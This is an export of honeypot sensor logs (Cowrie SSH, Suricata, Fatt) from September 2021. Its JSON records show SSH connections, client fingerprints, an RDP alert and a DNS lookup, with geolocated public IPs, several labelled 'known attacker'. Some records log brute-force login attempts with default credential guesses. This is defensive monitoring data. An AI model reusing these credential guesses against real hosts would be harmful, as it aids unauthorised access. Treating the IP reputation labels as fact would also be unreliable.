"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49506, "timestamp": "2021-09-20T11:07:51.515661", "@timestamp": "2021-09-20T11:07:51.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23852	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:07:51.510609+03	2021-09-20 14:15:08.03947+03	{"_id": "0gbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.63.158.253:49506 (192.168.176.2:22) [session: 236bdfbf41a0]", "session": "236bdfbf41a0", "@version": "1", "protocol": "ssh", "src_port": 49506, "dest_port": 22, "timestamp": "2021-09-20T11:07:51.510609Z", "@timestamp": "2021-09-20T11:07:51.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23853	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:51.325619+03	2021-09-20 14:15:08.040471+03	{"_id": "1AbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "466dc77f0ea6", "@version": "1", "timestamp": "2021-09-20T11:07:51.325619Z", "@timestamp": "2021-09-20T11:07:51.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23854	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:07:51.513569+03	2021-09-20 14:15:08.041471+03	{"_id": "1QbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "236bdfbf41a0", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:07:51.513569Z", "@timestamp": "2021-09-20T11:07:51.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23855	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:51.775717+03	2021-09-20 14:15:08.04347+03	{"_id": "1gbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [nikita/nikita] failed", "session": "6ad814083280", "@version": "1", "password": "nikita", "username": "nikita", "timestamp": "2021-09-20T11:07:51.775717Z", "@timestamp": "2021-09-20T11:07:51.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23857	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:07:51.860182+03	2021-09-20 14:15:08.04647+03	{"_id": "2AbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "236bdfbf41a0", "@version": "1", "timestamp": "2021-09-20T11:07:51.860182Z", "@timestamp": "2021-09-20T11:07:51.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23858	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:52.185302+03	2021-09-20 14:15:08.04747+03	{"_id": "2QbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "103bdacf082c", "@version": "1", "duration": 3.292884111404419, "timestamp": "2021-09-20T11:07:52.185302Z", "@timestamp": "2021-09-20T11:07:52.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23859	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:52.193682+03	2021-09-20 14:15:08.048471+03	{"_id": "2gbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [22/admin] failed", "session": "466dc77f0ea6", "@version": "1", "password": "admin", "username": "22", "timestamp": "2021-09-20T11:07:52.193682Z", "@timestamp": "2021-09-20T11:07:52.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23860	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:52.000812+03	2021-09-20 14:15:08.04947+03	{"_id": "2wbkAnwBvYTbRNuEDw9x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 2218985916077438, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 65261, "timestamp": "2021-09-20T11:07:52.000812Z", "@timestamp": "2021-09-20T11:07:52.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
23861	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:52.64812+03	2021-09-20 14:15:08.050471+03	{"_id": "3wbkAnwBvYTbRNuEEA9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57696, "timestamp": "2021-09-20T11:07:52.648120", "@timestamp": "2021-09-20T11:07:52.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23862	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:45.712795+03	2021-09-20 14:15:08.052471+03	{"_id": "ogbjAnwBvYTbRNuE9A4U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1629523133160714, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39124, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.712795Z", "@timestamp": "2021-09-20T11:07:45.712Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23863	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.43344+03	2021-09-20 14:15:08.053471+03	{"_id": "pAbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39124 (192.168.176.2:22) [session: a13ab08649e3]", "session": "a13ab08649e3", "@version": "1", "protocol": "ssh", "src_port": 39124, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.433440Z", "@timestamp": "2021-09-20T11:07:45.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23864	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:45.698568+03	2021-09-20 14:15:08.05447+03	{"_id": "ugbjAnwBvYTbRNuE9Q6W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36046 (192.168.176.2:22) [session: 1722db1c4cdd]", "session": "1722db1c4cdd", "@version": "1", "protocol": "ssh", "src_port": 36046, "dest_port": 22, "timestamp": "2021-09-20T11:07:45.698568Z", "@timestamp": "2021-09-20T11:07:45.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23865	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:45.848889+03	2021-09-20 14:15:08.056471+03	{"_id": "twbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8a79bc29cd27", "@version": "1", "duration": 3.7351555824279785, "timestamp": "2021-09-20T11:07:45.848889Z", "@timestamp": "2021-09-20T11:07:45.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23866	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:45.730029+03	2021-09-20 14:15:08.058471+03	{"_id": "rQbjAnwBvYTbRNuE9Q6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a13ab08649e3", "@version": "1", "timestamp": "2021-09-20T11:07:45.730029Z", "@timestamp": "2021-09-20T11:07:45.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23868	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:07:46.686209+03	2021-09-20 14:15:08.0605+03	{"_id": "3wbjAnwBvYTbRNuE9w78", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 37925, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2180, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 801483503334178, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56116, "timestamp": "2021-09-20T11:07:46.686209Z", "@timestamp": "2021-09-20T11:07:46.686Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", 